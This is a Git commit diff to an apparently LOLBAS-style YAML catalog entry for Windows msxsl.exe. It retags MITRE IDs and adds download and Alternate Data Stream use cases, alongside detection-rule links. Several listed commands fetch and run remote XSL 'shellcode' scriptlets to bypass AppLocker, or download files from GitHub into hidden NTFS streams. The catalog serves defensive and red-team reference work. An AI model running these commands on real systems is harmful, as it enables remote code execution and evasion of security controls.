Updated msxsl.yml to include a download and ADS category (#276)

This commit is contained in:
Ronnie Salomonsen 2023-08-05 19:04:09 +02:00 committed by GitHub
parent fe64c63211
commit 4ffdf0ec0b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -9,33 +9,45 @@ Commands:
Usecase: Local execution of script stored in XSL file.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1220
OperatingSystem: Windows
- Command: msxsl.exe customers.xml script.xsl
Description: Run COM Scriptlet code within the script.xsl file (local).
Usecase: Local execution of script stored in XSL file.
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1220
OperatingSystem: Windows
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Usecase: Local execution of remote script stored in XSL script stored as an XML file.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1220
OperatingSystem: Windows
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
Usecase: Local execution of remote script stored in XSL script stored as an XML file.
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1220
OperatingSystem: Windows
- Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
Description: Using remote XML and XSL files, save the transformed XML file to disk.
Usecase: Download a file from the internet and save it to disk.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows
- Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>:ads-name
Description: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
Usecase: Download a file from the internet and save it to an NTFS Alternate Data Stream.
Category: ADS
Privileges: User
MitreID: T1564
OperatingSystem: Windows
Full_Path:
- Path: no default
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_xsl_script_processing.yml
- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml
@ -44,6 +56,9 @@ Detection:
Resources:
- Link: https://twitter.com/subTee/status/877616321747271680
- Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
- Link: https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'
- Person: Ronnie Salomonsen
Handle: '@r0ns3n'